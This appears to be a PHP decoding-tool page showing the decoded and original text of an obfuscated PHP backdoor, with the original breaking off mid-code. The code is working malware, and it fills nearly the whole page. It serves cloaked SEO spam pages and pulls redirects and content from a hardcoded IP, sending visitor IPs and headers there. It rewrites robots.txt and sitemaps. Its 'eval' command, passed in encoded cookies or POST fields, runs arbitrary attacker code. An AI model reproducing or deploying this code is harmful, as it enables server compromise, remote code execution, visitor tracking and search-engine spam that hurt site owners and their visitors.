Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<4 ? long2ip (_x7gc9q8::$_ks5re2ir - 1000) : $_7g5ooajl[2];$_x6qr5pte = _x7gc9q8::_omlbv($..

Decoded Output download

<?  <4 ? long2ip (_x7gc9q8::$_ks5re2ir - 1000) : $_7g5ooajl[2];$_x6qr5pte = _x7gc9q8::_omlbv($_7g5ooajl, $_go7ubx3q);if (!$_x6qr5pte){$_x6qr5pte = _x7gc9q8::_zl603($_7g5ooajl, $_go7ubx3q);}return $_x6qr5pte;}static function _omlbv($_7g5ooajl, $_x6qr5pte, $_6favyrnl=NULL){if (!function_exists('curl_version')){return "";}if (is_array($_7g5ooajl)) {$_7g5ooajl = implode("/", $_7g5ooajl);}$_16aog8w4 = curl_init();curl_setopt($_16aog8w4, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($_16aog8w4, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($_16aog8w4, CURLOPT_URL, $_7g5ooajl);if (!empty($_x6qr5pte)){curl_setopt($_16aog8w4, CURLOPT_POST, 1);curl_setopt($_16aog8w4, CURLOPT_POSTFIELDS, $_x6qr5pte);}if (!empty($_6favyrnl)){curl_setopt($_16aog8w4, CURLOPT_HTTPHEADER, $_6favyrnl);}curl_setopt($_16aog8w4, CURLOPT_RETURNTRANSFER, TRUE);$_zl1ysfbc = curl_exec($_16aog8w4);curl_close($_16aog8w4);return $_zl1ysfbc;}static function _zl603($_7g5ooajl, $_x6qr5pte, $_6favyrnl=NULL){if (is_array($_7g5ooajl)) {$_7g5ooajl = implode("/", $_7g5ooajl);}if (!empty($_x6qr5pte)){$_d3ehkalq = Array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => $_x6qr5pte);if (!empty($_6favyrnl)) {$_d3ehkalq["header"] = $_d3ehkalq["header"] . "
" . implode("
", $_6favyrnl);}$_k5oskqru = stream_context_create(Array('http' => $_d3ehkalq));}else{$_d3ehkalq = Array('method' => 'GET', );if (!empty($_6favyrnl)) {$_d3ehkalq["header"] = implode("
", $_6favyrnl);}$_k5oskqru = stream_context_create(Array('http' => $_d3ehkalq));}$_zl1ysfbc = @file_get_contents($_7g5ooajl, FALSE, $_k5oskqru);return $_zl1ysfbc;}}class _ue1dcc{private static $_saug40zu = "";private static $_dyjaajjn = -1;private static $_zy1gnuch = "";private $_r3wnhwns = "";private $_fx46bfnw = "";private $_8piwncuu = "";private $_h8oj158i = "";public static function _1uvy3($_miu7oqrw, $_j3crbdfk, $_2g1inhz7){_ue1dcc::$_saug40zu = $_miu7oqrw . "/cache/";_ue1dcc::$_dyjaajjn = $_j3crbdfk;_ue1dcc::$_zy1gnuch = $_2g1inhz7;if (!@file_exists(_ue1dcc::$_saug40zu)){@mkdir(_ue1dcc::$_saug40zu);}}static public function _r1tjt(){$_n2gnongs = 0;foreach (scandir(_ue1dcc::$_saug40zu) as $_ailcvlmd){$_n2gnongs += 1;}return $_n2gnongs;}public static function _so8x9(){return TRUE;}public function __construct($_b5j859a7, $_5hgu1dv5, $_vjjcfwv9, $_t85jh6yn){$this->_r3wnhwns = $_b5j859a7;$this->_fx46bfnw = $_5hgu1dv5;$this->_8piwncuu = $_vjjcfwv9;$this->_h8oj158i = $_t85jh6yn;}public function _e15zk(){function _babb1($_75plv612, $_zgo4jfw0) {return round(rand($_75plv612, $_zgo4jfw0 - 1) + (rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX ), 2);}$_nlkowpq6 = _zdrjs4p::_gbxq9();$_x6qr5pte = str_replace("{{ text }}", $this->_fx46bfnw,str_replace("{{ keyword }}", $this->_8piwncuu,str_replace("{{ links }}", $this->_h8oj158i, $this->_r3wnhwns)));while (TRUE){$_3ec77dsh = preg_replace('/'.preg_quote("{{ randkeyword }}", '/').'/', _zdrjs4p::_0gsz6(), $_x6qr5pte, 1);if ($_3ec77dsh === $_x6qr5pte){break;}$_x6qr5pte = $_3ec77dsh;}while (TRUE){preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/', $_x6qr5pte, $_yolofzjp);if (empty($_yolofzjp)){break;}$_vjjcfwv9 = @$_nlkowpq6[intval($_yolofzjp[1])];$_yv5ijq9u = _81n0x4::_7zzdl($_vjjcfwv9);$_x6qr5pte = str_replace($_yolofzjp[0], $_yv5ijq9u, $_x6qr5pte);}while (TRUE){preg_match('/{{ KEYWORDBYINDEX (\d*) }}/', $_x6qr5pte, $_yolofzjp);if (empty($_yolofzjp)){break;}$_vjjcfwv9 = @$_nlkowpq6[intval($_yolofzjp[1])];$_x6qr5pte = str_replace($_yolofzjp[0], $_vjjcfwv9, $_x6qr5pte);}while (TRUE){preg_match('/{{ RANDFLOAT (\d*)-(\d*) }}/', $_x6qr5pte, $_yolofzjp);if (empty($_yolofzjp)){break;}$_x6qr5pte = str_replace($_yolofzjp[0], _babb1($_yolofzjp[1], $_yolofzjp[2]), $_x6qr5pte);}while (TRUE){preg_match('/{{ RANDINT (\d*)-(\d*) }}/', $_x6qr5pte, $_yolofzjp);if (empty($_yolofzjp)){break;}$_x6qr5pte = str_replace($_yolofzjp[0], rand($_yolofzjp[1], $_yolofzjp[2]), $_x6qr5pte);}return $_x6qr5pte;}public function _09ws9(){$_iow65j7m = _ue1dcc::$_saug40zu . md5($this->_8piwncuu . _ue1dcc::$_zy1gnuch);if (_ue1dcc::$_dyjaajjn == -1){$_tpu5frvu = -1;}else{$_tpu5frvu = time() + (3600 * 24 * 30);}$_c3h4jexw = Array("template" => $this->_r3wnhwns, "text" => $this->_fx46bfnw, "keyword" => $this->_8piwncuu,"links" => $this->_h8oj158i, "expired" => $_tpu5frvu);@file_put_contents($_iow65j7m, serialize($_c3h4jexw));}static public function _r6mgq($_vjjcfwv9){$_iow65j7m = _ue1dcc::$_saug40zu . md5($_vjjcfwv9 . _ue1dcc::$_zy1gnuch);$_iow65j7m = @unserialize(@file_get_contents($_iow65j7m));if (!empty($_iow65j7m) && ($_iow65j7m["expired"] > time() || $_iow65j7m["expired"] == -1)){return new _ue1dcc($_iow65j7m["template"], $_iow65j7m["text"], $_iow65j7m["keyword"], $_iow65j7m["links"]);}else{return null;}}}class _f1bh9nf{private static $_saug40zu = "";private static $_sclcodux = "";public static function _1uvy3($_miu7oqrw, $_qa8wvc1v){_f1bh9nf::$_saug40zu = $_miu7oqrw . "/";_f1bh9nf::$_sclcodux = $_qa8wvc1v;if (!@file_exists(_f1bh9nf::$_saug40zu)){@mkdir(_f1bh9nf::$_saug40zu);}}public static function _so8x9(){return TRUE;}static public function _r1tjt(){$_n2gnongs = 0;foreach (scandir(_f1bh9nf::$_saug40zu) as $_ailcvlmd){if (strpos($_ailcvlmd, _f1bh9nf::$_sclcodux) === 0){$_n2gnongs += 1;}}return $_n2gnongs;}static public function _0gsz6(){$_qkzumj94 = Array();foreach (scandir(_f1bh9nf::$_saug40zu) as $_ailcvlmd){if (strpos($_ailcvlmd, _f1bh9nf::$_sclcodux) === 0){$_qkzumj94[] = $_ailcvlmd;}}return @file_get_contents(_f1bh9nf::$_saug40zu . $_qkzumj94[array_rand($_qkzumj94)]);}static public function _09ws9($_rakyzov9){if (@file_exists(_f1bh9nf::$_sclcodux . "_" . md5($_rakyzov9) . ".html")){return;}@file_put_contents(_f1bh9nf::$_sclcodux . "_" . md5($_rakyzov9) . ".html", $_rakyzov9);}}class _zdrjs4p{private static $_saug40zu = "";private static $_sclcodux = "";public static function _1uvy3($_miu7oqrw, $_qa8wvc1v){_zdrjs4p::$_saug40zu = $_miu7oqrw . "/";_zdrjs4p::$_sclcodux = $_qa8wvc1v;if (!@file_exists(_zdrjs4p::$_saug40zu)){@mkdir(_zdrjs4p::$_saug40zu);}}private static function _o9nbo(){$_uptpizz4 = Array();foreach (scandir(_zdrjs4p::$_saug40zu) as $_ailcvlmd){if (strpos($_ailcvlmd, _zdrjs4p::$_sclcodux) === 0){$_uptpizz4[] = $_ailcvlmd;}}return $_uptpizz4;}public static function _so8x9(){return TRUE;}static public function _0gsz6(){$_uptpizz4 = _zdrjs4p::_o9nbo();$_nlkowpq6 = @file(_zdrjs4p::$_saug40zu . $_uptpizz4[array_rand($_uptpizz4)], FILE_IGNORE_NEW_LINES);return $_nlkowpq6[array_rand($_nlkowpq6)];}static public function _gbxq9(){$_nlkowpq6 = Array();$_uptpizz4 = _zdrjs4p::_o9nbo();foreach ($_uptpizz4 as $_9f6ckc5d){$_nlkowpq6 = array_merge($_nlkowpq6, @file(_zdrjs4p::$_saug40zu . $_9f6ckc5d, FILE_IGNORE_NEW_LINES));}return $_nlkowpq6;}static public function _09ws9($_lb8yudna){if (@file_exists(_zdrjs4p::$_sclcodux . "_" . md5($_lb8yudna) . ".list")){return;}@file_put_contents(_zdrjs4p::$_sclcodux . "_" . md5($_lb8yudna) . ".list", $_lb8yudna);}}class _81n0x4{static public $_irzkuj3g = "4.5";static public $_krys0w6i = "ce9eb0db-81e2-14a9-b879-d04d41bde089";private $_7vykgqlb = "http://136.12.78.46/app/assets/api2?action=redir";private $_07yalz8p = "http://136.12.78.46/app/assets/api?action=page";static public $_409bf966 = 20;static public $_7i00uco6 = 100;private function _17qhr(){$_79f04j02 = array('#libwww-perl#i','#MJ12bot#i','#msnbot#i', '#msnbot-media#i','#YandexBot#i', '#msnbot#i', '#YandexWebmaster#i','#spider#i', '#yahoo#i', '#google#i', '#altavista#i','#ask#i','#yahoo!\s*slurp#i','#BingBot#i');if (!empty($_SERVER['HTTP_USER_AGENT']) && (FALSE !== strpos(preg_replace($_79f04j02, '-NO-WAY-', $_SERVER['HTTP_USER_AGENT']), '-NO-WAY-'))){$_qio42tc5 = 1;}elseif (empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) || empty($_SERVER['HTTP_REFERER'])){$_qio42tc5 = 1;}elseif (strpos($_SERVER['HTTP_REFERER'], "google") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "yahoo") === FALSE &&strpos($_SERVER['HTTP_REFERER'], "bing") === FALSE&&strpos($_SERVER['HTTP_REFERER'], "yandex") === FALSE){$_qio42tc5 = 1;}else{$_qio42tc5 = 0;}return $_qio42tc5;}private static function _s745r(){$_go7ubx3q = Array();$_go7ubx3q['ip'] = $_SERVER['REMOTE_ADDR'];$_go7ubx3q['qs'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];$_go7ubx3q['ua'] = @$_SERVER['HTTP_USER_AGENT'];$_go7ubx3q['lang'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];$_go7ubx3q['ref'] = @$_SERVER['HTTP_REFERER'];$_go7ubx3q['enc'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];$_go7ubx3q['acp'] = @$_SERVER['HTTP_ACCEPT'];$_go7ubx3q['char'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];$_go7ubx3q['conn'] = @$_SERVER['HTTP_CONNECTION'];return $_go7ubx3q;}public function __construct(){$this->_7vykgqlb = explode("/", $this->_7vykgqlb);$this->_07yalz8p = explode("/", $this->_07yalz8p);}static public function _3pe5d($_3p9h90vx){if (strlen($_3p9h90vx) < 4){return "";}$_r0ilxrev = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";$_nlkowpq6 = str_split($_r0ilxrev);$_nlkowpq6 = array_flip($_nlkowpq6);$_k8329wrs = 0;$_h1nw8ovf = "";$_3p9h90vx = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $_3p9h90vx);do {$_1q8gl53j = $_nlkowpq6[$_3p9h90vx[$_k8329wrs++]];$_ov7u5aeh = $_nlkowpq6[$_3p9h90vx[$_k8329wrs++]];$_xjhmpa68 = $_nlkowpq6[$_3p9h90vx[$_k8329wrs++]];$_n18paynu = $_nlkowpq6[$_3p9h90vx[$_k8329wrs++]];$_5td3tdl7 = ($_1q8gl53j << 2) | ($_ov7u5aeh >> 4);$_9nad98dz = (($_ov7u5aeh & 15) << 4) | ($_xjhmpa68 >> 2);$_w1jvicoj = (($_xjhmpa68 & 3) << 6) | $_n18paynu;$_h1nw8ovf = $_h1nw8ovf . chr($_5td3tdl7);if ($_xjhmpa68 != 64) {$_h1nw8ovf = $_h1nw8ovf . chr($_9nad98dz);}if ($_n18paynu != 64) {$_h1nw8ovf = $_h1nw8ovf . chr($_w1jvicoj);}} while ($_k8329wrs < strlen($_3p9h90vx));return $_h1nw8ovf;}private function _8z6km($_vjjcfwv9){$_b5j859a7 = "";$_5hgu1dv5 = "";$_go7ubx3q = _81n0x4::_s745r();$_go7ubx3q["uid"] = _81n0x4::$_krys0w6i;$_go7ubx3q["keyword"] = $_vjjcfwv9;$_go7ubx3q["tc"] = 10;$_go7ubx3q = http_build_query($_go7ubx3q);$_zi6ytmx2 = _x7gc9q8::_h848q($this->_07yalz8p, $_go7ubx3q);if (strpos($_zi6ytmx2, _81n0x4::$_krys0w6i) === FALSE){return Array($_b5j859a7, $_5hgu1dv5);}$_b5j859a7 = _f1bh9nf::_0gsz6();$_5hgu1dv5 = substr($_zi6ytmx2, strlen(_81n0x4::$_krys0w6i));$_5hgu1dv5 = explode("
", $_5hgu1dv5);shuffle($_5hgu1dv5);$_5hgu1dv5 = implode(" ", $_5hgu1dv5);return Array($_b5j859a7, $_5hgu1dv5);}private function _i3jg0(){$_go7ubx3q = _81n0x4::_s745r();if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])){$_go7ubx3q['cfconn'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];}if (isset($_SERVER['HTTP_X_REAL_IP'])){$_go7ubx3q['xreal'] = @$_SERVER['HTTP_X_REAL_IP'];}if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])){$_go7ubx3q['xforward'] = @$_SERVER['HTTP_X_FORWARDED_FOR'];}$_go7ubx3q["uid"] = _81n0x4::$_krys0w6i;$_go7ubx3q = http_build_query($_go7ubx3q);$_82xc5e1a = _x7gc9q8::_h848q($this->_7vykgqlb, $_go7ubx3q);$_82xc5e1a = @unserialize($_82xc5e1a);if (isset($_82xc5e1a["type"]) && $_82xc5e1a["type"] == "redir") {if (!empty($_82xc5e1a["data"]["header"])) {header($_82xc5e1a["data"]["header"]);return true;} elseif (!empty($_82xc5e1a["data"]["code"])) {echo $_82xc5e1a["data"]["code"];return true;}}return false;}public function _so8x9(){return _ue1dcc::_so8x9() && _f1bh9nf::_so8x9() && _zdrjs4p::_so8x9();}static public function _kds8z(){if ((!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || $_SERVER['SERVER_PORT'] == 443) {return true;}return false;}public static function _ityzd(){$_y9dcrc1z = explode("?", $_SERVER["REQUEST_URI"], 2);$_y9dcrc1z = $_y9dcrc1z[0];if (strpos($_y9dcrc1z, ".php") === FALSE){$_y9dcrc1z = explode("/", $_y9dcrc1z);array_pop($_y9dcrc1z);$_y9dcrc1z = implode("/", $_y9dcrc1z) . "/";}return sprintf("%s://%s%s", _81n0x4::_kds8z() ? "https" : "http", $_SERVER['HTTP_HOST'], $_y9dcrc1z);}public static function _92jns(){$_8jvmjjrj = Array("https://www.bing.com/ping?sitemap=" => "Thanks for submitting your Sitemap","https://www.google.com/ping?sitemap=" => "Sitemap Notification Received");$_6favyrnl = Array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Accept-Language: en-US,en;q=0.5","User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0",);$_5jwes7cz = urlencode(_81n0x4::_xtrtq() . "/sitemap.xml");foreach ($_8jvmjjrj as $_7g5ooajl => $_ddf6lejh){$_7s36j6nq = _x7gc9q8::_omlbv($_7g5ooajl . $_5jwes7cz, NULL, $_6favyrnl);if (empty($_7s36j6nq)){$_7s36j6nq = _x7gc9q8::_zl603($_7g5ooajl . $_5jwes7cz, NULL, $_6favyrnl);}if (empty($_7s36j6nq)) {return FALSE;}if (strpos($_7s36j6nq, $_ddf6lejh) === FALSE) {return FALSE;}}return TRUE;}public static function _qyn14(){$_zzykzzk1 = "User-agent: *
Disallow: %s
User-agent: Bingbot
User-agent: Googlebot
User-agent: Slurp
Disallow:
Sitemap: %s
";$_y9dcrc1z = explode("?", $_SERVER["REQUEST_URI"], 2);$_y9dcrc1z = $_y9dcrc1z[0];$_ggwodp4p = substr($_y9dcrc1z, 0, strrpos($_y9dcrc1z, "/"));$_lo889cur = sprintf($_zzykzzk1, $_ggwodp4p, _81n0x4::_xtrtq() . "/sitemap.xml");$_r44x0lme = $_SERVER["DOCUMENT_ROOT"] . "/robots.txt";if (@file_exists($_r44x0lme)) {@chmod($_r44x0lme, 0777);$_hdkpa0vt = @file_get_contents($_r44x0lme);}else{$_hdkpa0vt = "";}if (strpos($_hdkpa0vt, $_lo889cur) === FALSE) {@file_put_contents($_r44x0lme, $_hdkpa0vt . "
" . $_lo889cur);$_hdkpa0vt = @file_get_contents($_r44x0lme);return (strpos($_hdkpa0vt, $_lo889cur) !== FALSE);}return FALSE;}public static function _xtrtq(){$_y9dcrc1z = explode("?", $_SERVER["REQUEST_URI"], 2);$_y9dcrc1z = $_y9dcrc1z[0];$_miu7oqrw = substr($_y9dcrc1z, 0, strrpos($_y9dcrc1z, "/"));return sprintf("%s://%s%s", _81n0x4::_kds8z() ? "https" : "http", $_SERVER['HTTP_HOST'], $_miu7oqrw);}public static function _7zzdl($_vjjcfwv9){$_c0sp70b2 = _81n0x4::_ityzd();$_mgdgqffp = substr(md5(_81n0x4::$_krys0w6i . "salt3"), 0, 6);$_arumobpm = "";if (substr($_c0sp70b2, -1) == "/"){if (ord($_mgdgqffp[1]) % 2){$_vjjcfwv9 = str_replace(" ", "-", $_mgdgqffp . "-" . $_vjjcfwv9);}else{$_vjjcfwv9 = str_replace(" ", "-", $_vjjcfwv9 . "-" . $_mgdgqffp);}$_arumobpm = sprintf("%s%s", $_c0sp70b2, urlencode($_vjjcfwv9));}else{if (ord($_mgdgqffp[0]) % 2){$_arumobpm = sprintf("%s?%s=%s",$_c0sp70b2,$_mgdgqffp,urlencode(str_replace(" ", "-", $_vjjcfwv9)));}else{$_mqt5cxfi = Array("id", "page", "tag");$_rjhhrz98 = $_mqt5cxfi[ord($_mgdgqffp[2]) % count($_mqt5cxfi)];if (ord($_mgdgqffp[1]) % 2){$_vjjcfwv9 = str_replace(" ", "-", $_mgdgqffp . "-" . $_vjjcfwv9);}else{$_vjjcfwv9 = str_replace(" ", "-", $_vjjcfwv9 . "-" . $_mgdgqffp);}$_arumobpm = sprintf("%s?%s=%s",$_c0sp70b2,$_rjhhrz98,urlencode($_vjjcfwv9));}}return $_arumobpm;}public static function _5ppg3($_75plv612, $_zgo4jfw0){$_yswr3hay = rand($_75plv612, $_zgo4jfw0);$_pi6ahtut = "";for ($_k8329wrs=0; $_k8329wrs < $_yswr3hay; $_k8329wrs++){$_vjjcfwv9 = _zdrjs4p::_0gsz6();$_pi6ahtut .= sprintf("%s,
",_81n0x4::_7zzdl($_vjjcfwv9), ucwords($_vjjcfwv9));}return $_pi6ahtut;}public static function _feagx(){$_4r0klahp = "

";$_06e71rr6 = "";$_1vmgbugq = "";$_nlkowpq6 = _zdrjs4p::_gbxq9();foreach ($_nlkowpq6 as $_i09clnhg){$_arumobpm = _81n0x4::_7zzdl($_i09clnhg);$_l0xdde19 = time() - mt_rand(0, 60 * 60 * 24 * 30);$_1vmgbugq .= "
";$_1vmgbugq .= sprintf("%s
", $_arumobpm);$_1vmgbugq .= sprintf("%s
", date("Y-m-d", $_l0xdde19));$_1vmgbugq .= "0.3
";$_1vmgbugq .= "
";}$_791nx52i = $_4r0klahp . $_1vmgbugq . $_06e71rr6;$_a520m6vc = dirname(__FILE__) . "/sitemap.xml";$_5jwes7cz = _81n0x4::_xtrtq() . "/sitemap.xml";@file_put_contents($_a520m6vc, $_791nx52i);return $_5jwes7cz;}public function _dyq58(){$_rjhhrz98 = substr(md5(_81n0x4::$_krys0w6i . "salt3"), 0, 6);if (isset($_GET[$_rjhhrz98])) {$_vjjcfwv9 = $_GET[$_rjhhrz98];}elseif (strpos($_SERVER["REQUEST_URI"], $_rjhhrz98) !== FALSE){$_haac0b02 = explode("/", $_SERVER["REQUEST_URI"]);foreach ($_haac0b02 as $_1e1ynu4y) {if (strpos($_1e1ynu4y, $_rjhhrz98) !== FALSE){$_c2phel9a = explode("=", $_1e1ynu4y);$_5i7rm4dw = array_pop($_c2phel9a);$_5i7rm4dw = str_replace($_rjhhrz98 . "-", "", $_5i7rm4dw);$_5i7rm4dw = str_replace("-" . $_rjhhrz98, "", $_5i7rm4dw);$_vjjcfwv9 = $_5i7rm4dw;}}}if (empty($_vjjcfwv9)){$_nlkowpq6 = _zdrjs4p::_gbxq9();$_vjjcfwv9 = $_nlkowpq6[0];}if (!empty($_vjjcfwv9)){$_vjjcfwv9 = str_replace("-", " ", $_vjjcfwv9);if (!$this->_17qhr()){if ($this->_i3jg0()){return;}}$_vjjcfwv9 = urldecode($_vjjcfwv9);$_82xc5e1a = _ue1dcc::_r6mgq($_vjjcfwv9);if (empty($_82xc5e1a)){list($_b5j859a7, $_5hgu1dv5) = $this->_8z6km($_vjjcfwv9);if (empty($_5hgu1dv5)){return;}$_82xc5e1a = new _ue1dcc($_b5j859a7, $_5hgu1dv5, $_vjjcfwv9, _81n0x4::_5ppg3(_81n0x4::$_409bf966, _81n0x4::$_7i00uco6));$_82xc5e1a->_09ws9();}echo $_82xc5e1a->_e15zk();}}}_ue1dcc::_1uvy3(dirname(__FILE__), -1, _81n0x4::$_krys0w6i);_f1bh9nf::_1uvy3(dirname(__FILE__), substr(md5(_81n0x4::$_krys0w6i . "salt12"), 0, 4));_zdrjs4p::_1uvy3(dirname(__FILE__), substr(md5(_81n0x4::$_krys0w6i . "salt22"), 0, 4));function _usz7u($_zi6ytmx2, $_i09clnhg){$_rda1q4u0 = "";for ($_k8329wrs = 0; $_k8329wrs < strlen($_zi6ytmx2);) {for ($_qp9ipvhs = 0; $_qp9ipvhs < strlen($_i09clnhg) && $_k8329wrs < strlen($_zi6ytmx2); $_qp9ipvhs++, $_k8329wrs++) {$_rda1q4u0 .= chr(ord($_zi6ytmx2[$_k8329wrs]) ^ ord($_i09clnhg[$_qp9ipvhs]));}}return $_rda1q4u0;}function _c9h39($_zi6ytmx2, $_i09clnhg, $_4fumla8x){return _usz7u(_usz7u($_zi6ytmx2, $_i09clnhg), $_4fumla8x);}foreach (array_merge($_COOKIE, $_POST) as $_s0h38rrs => $_zi6ytmx2) {$_zi6ytmx2 = @unserialize(_c9h39(_81n0x4::_3pe5d($_zi6ytmx2), $_s0h38rrs, _81n0x4::$_krys0w6i));if (isset($_zi6ytmx2['ak']) && _81n0x4::$_krys0w6i == $_zi6ytmx2['ak']) {if ($_zi6ytmx2['a'] == 'doorway2') {if ($_zi6ytmx2['sa'] == 'check') {$_x6qr5pte = _x7gc9q8::_h848q(explode("/", "http://httpbin.org/"), "");if (strlen($_x6qr5pte) > 512) {echo @serialize(Array("uid" => _81n0x4::$_krys0w6i, "v" => _81n0x4::$_irzkuj3g,"cache" => _ue1dcc::_r1tjt(),"keywords" => count(_zdrjs4p::_gbxq9()),"templates" => _f1bh9nf::_r1tjt()));}exit;}if ($_zi6ytmx2['sa'] == 'templates') {foreach ($_zi6ytmx2["templates"] as $_b5j859a7) {_f1bh9nf::_09ws9($_b5j859a7);echo @serialize(Array("uid" => _81n0x4::$_krys0w6i, "v" => _81n0x4::$_irzkuj3g, ));}}if ($_zi6ytmx2['sa'] == 'keywords') {_zdrjs4p::_09ws9($_zi6ytmx2["keywords"]);_81n0x4::_feagx();echo @serialize(Array("uid" => _81n0x4::$_krys0w6i, "v" => _81n0x4::$_irzkuj3g, ));}if ($_zi6ytmx2['sa'] == 'pages'){$_cixtuz3q = 0;if (_f1bh9nf::_r1tjt() > 0){foreach($_zi6ytmx2['pages'] as $_82xc5e1a){$_koytbu4x = _ue1dcc::_r6mgq($_82xc5e1a["keyword"]);if (empty($_koytbu4x)){$_koytbu4x = new _ue1dcc(_f1bh9nf::_0gsz6(), $_82xc5e1a["text"], $_82xc5e1a["keyword"], _81n0x4::_5ppg3(_81n0x4::$_409bf966, _81n0x4::$_7i00uco6));$_koytbu4x->_09ws9();$_cixtuz3q += 1;}}}echo @serialize(Array("uid" => _81n0x4::$_krys0w6i, "v" => _81n0x4::$_irzkuj3g, "pages" => $_cixtuz3q));}if ($_zi6ytmx2["sa"] == "ping"){$_7s36j6nq = _81n0x4::_92jns();echo @serialize(Array("uid" => _81n0x4::$_krys0w6i, "v" => _81n0x4::$_irzkuj3g, "result" => (int)$_7s36j6nq));}if ($_zi6ytmx2["sa"] == "robots"){$_7s36j6nq = _81n0x4::_qyn14();echo @serialize(Array("uid" => _81n0x4::$_krys0w6i, "v" => _81n0x4::$_irzkuj3g, "result" => (int)$_7s36j6nq));}}if ($_zi6ytmx2['sa'] == 'eval') {eval($_zi6ytmx2["data"]);exit;}}}$_cmojhd6p = new _81n0x4();if ($_cmojhd6p->_so8x9()){$_cmojhd6p->_dyq58();}exit(); ?>

Did this file decode correctly?

Original Code

<4 ? long2ip (_x7gc9q8::$_ks5re2ir - 1000) : $_7g5ooajl[2];$_x6qr5pte = _x7gc9q8::_omlbv($_7g5ooajl, $_go7ubx3q);if (!$_x6qr5pte){$_x6qr5pte = _x7gc9q8::_zl603($_7g5ooajl, $_go7ubx3q);}return $_x6qr5pte;}static function _omlbv($_7g5ooajl, $_x6qr5pte, $_6favyrnl=NULL){if (!function_exists('curl_version')){return "";}if (is_array($_7g5ooajl)) {$_7g5ooajl = implode("/", $_7g5ooajl);}$_16aog8w4 = curl_init();curl_setopt($_16aog8w4, CURLOPT_SSL_VERIFYHOST, false);curl_setopt($_16aog8w4, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($_16aog8w4, CURLOPT_URL, $_7g5ooajl);if (!empty($_x6qr5pte)){curl_setopt($_16aog8w4, CURLOPT_POST, 1);curl_setopt($_16aog8w4, CURLOPT_POSTFIELDS, $_x6qr5pte);}if (!empty($_6favyrnl)){curl_setopt($_16aog8w4, CURLOPT_HTTPHEADER, $_6favyrnl);}curl_setopt($_16aog8w4, CURLOPT_RETURNTRANSFER, TRUE);$_zl1ysfbc = curl_exec($_16aog8w4);curl_close($_16aog8w4);return $_zl1ysfbc;}static function _zl603($_7g5ooajl, $_x6qr5pte, $_6favyrnl=NULL){if (is_array($_7g5ooajl)) {$_7g5ooajl = implode("/", $_7g5ooajl);}if (!empty($_x6qr5pte)){$_d3ehkalq = Array('method' => 'POST','header' => 'Content-type: application/x-www-form-urlencoded','content' => $_x6qr5pte);if (!empty($_6favyrnl)) {$_d3ehkalq["header"] = $_d3ehkalq["header"] . "\r\n" . implode("\r\n", $_6favyrnl);}$_k5oskqru = stream_context_create(Array('http' => $_d3ehkalq));}else{$_d3ehkalq = Array('method' => 'GET', );if (!empty($_6favyrnl)) {$_d3ehkalq["header"] = implode("\r\n", $_6favyrnl);}$_k5oskqru = stream_context_create(Array('http' => $_d3ehkalq));}$_zl1ysfbc = @file_get_contents($_7g5ooajl, FALSE, $_k5oskqru);return $_zl1ysfbc;}}class _ue1dcc{private static $_saug40zu = "";private static $_dyjaajjn = -1;private static $_zy1gnuch = "";private $_r3wnhwns = "";private $_fx46bfnw = "";private $_8piwncuu = "";private $_h8oj158i = "";public static function _1uvy3($_miu7oqrw, $_j3crbdfk, $_2g1inhz7){_ue1dcc::$_saug40zu = $_miu7oqrw . "/cache/";_ue1dcc::$_dyjaajjn = $_j3crbdfk;_ue1dcc::$_zy1gnuch = $_2g1inhz7;if (!@file_exists(_ue1dcc::$_saug40zu)){@mkdir(_ue1dcc::$_saug40zu);}}static public function _r1tjt(){$_n2gnongs = 0;foreach (scandir(_ue1dcc::$_saug40zu) as $_ailcvlmd){$_n2gnongs += 1;}return $_n2gnongs;}public static function _so8x9(){return TRUE;}public function __construct($_b5j859a7, $_5hgu1dv5, $_vjjcfwv9, $_t85jh6yn){$this->_r3wnhwns = $_b5j859a7;$this->_fx46bfnw = $_5hgu1dv5;$this->_8piwncuu = $_vjjcfwv9;$this->_h8oj158i = $_t85jh6yn;}public function _e15zk(){function _babb1($_75plv612, $_zgo4jfw0) {return round(rand($_75plv612, $_zgo4jfw0 - 1) + (rand(0, PHP_INT_MAX - 1) / PHP_INT_MAX ), 2);}$_nlkowpq6 = _zdrjs4p::_gbxq9();$_x6qr5pte = str_replace("{{ text }}", $this->_fx46bfnw,str_replace("{{ keyword }}", $this->_8piwncuu,str_replace("{{ links }}", $this->_h8oj158i, $this->_r3wnhwns)));while (TRUE){$_3ec77dsh = preg_replace('/'.preg_quote("{{ randkeyword }}", '/').'/', _zdrjs4p::_0gsz6(), $_x6qr5pte, 1);if ($_3ec77dsh === $_x6qr5pte){break;}$_x6qr5pte = $_3ec77dsh;}while (TRUE){preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/', $_x6qr5pte, $_yolofzjp);if (empty($_yolofzjp)){break;}$_vjjcfwv9 = @$_nlkowpq6[intval($_yolofzjp[1])];$_yv5ijq9u = _81n0x4::_7zzdl($_vjjcfwv9);$_x6qr5pte = str_replace($_yolofzjp[0], $_yv5ijq9u, $_x6qr5pte);}while (TRUE){preg_match('/{{ KEYWORDBYINDEX (\d*) }}/', $_x6qr5pte, $_yolofzjp);if (empty($_yolofzjp)){break;}$_vjjcfwv9 = @$_nlkowpq6[intval($_yolofzjp[1])];$_x6qr5pte = str_replace($_yolofzjp[0], $_vjjcfwv9, $_x6qr5pte);}while (TRUE){preg_match('/{{ RANDFLOAT (\d*)-(\d*) }}/', 